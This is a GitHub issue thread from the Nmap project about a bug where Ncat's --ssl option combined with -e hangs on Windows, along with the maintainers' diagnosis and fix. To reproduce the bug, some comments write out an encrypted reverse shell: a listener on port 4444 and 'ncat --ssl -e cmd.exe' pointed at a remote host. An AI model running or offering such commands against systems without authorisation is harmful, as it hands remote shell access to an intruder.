Navigation Menu

Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Ncat client --ssl with -e does not work on Windows #1267

Closed
dmiller-nmap opened this issue Jul 10, 2018 · 6 comments
Closed

Ncat client --ssl with -e does not work on Windows #1267

dmiller-nmap opened this issue Jul 10, 2018 · 6 comments

Comments

@dmiller-nmap
Copy link

Reported:

I was conducting a red team test the other day and noticed that when I was trying to send a cmd.exe using the --ssl option of ncat to a remote ncat listener on a Linux box, although the connection did return and we could see the shell popping, whenever you try typing any command, it becomes unresponsive and the ncat on the Windows box seems to be entering a big loop of printing out debugging messages becoming unresponsive as well.

When I used ncat through socat so that socat did the ssl encryption, it worked fine.

@schnippe
Copy link

please see duplicate #1274

@dmiller-nmap
Copy link
Author

In my testing, change 420618c fixes the SSL error, but I don't get any further output from the shell. Entering dir doesn't return any output. On the client side (ncat --ssl -e cmd localhost) I see

NCAT DEBUG: i == WAIT_OBJECT_0

every time I strike Enter on the server (shell) side.

@dmiller-nmap
Copy link
Author

All right! Fix is in SVN, will be mirrored to Github within an hour. Problems included:

  1. WaitForMultipleObjects only tells you the first of the events that signalled,
  2. SSL_read doesn't clear the event, so WaitForMultipleObjects keeps notifying that the socket needs a read.

So the subprocess never got a chance to send any data to the socket.

@gvanem
Copy link

gvanem commented Jul 25, 2018

How did this get closed? The fix doesn't even compile. See my comment here.

@seandheath
Copy link

I'm still running into this issue using ncat 7.70 on Linux and Windows:

Linux:
ncat -lp 4444 --ssl
Windows:
ncat --ssl -e cmd.exe <linux ip> 4444

It connects and I get the command prompt on the Linux box but as soon as I enter a command the Windows box starts spamming:
NCAT DEBUG: SSL error on 84: error:0000002:lib(0):func(0):system lib

@dmiller-nmap
Copy link
Author

@seandheath The fix has not been released. It will be included in the next release of Ncat.

@gvanem Sorry about the late reply. I saw your comment and made the fix in 7629f3b

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

4 participants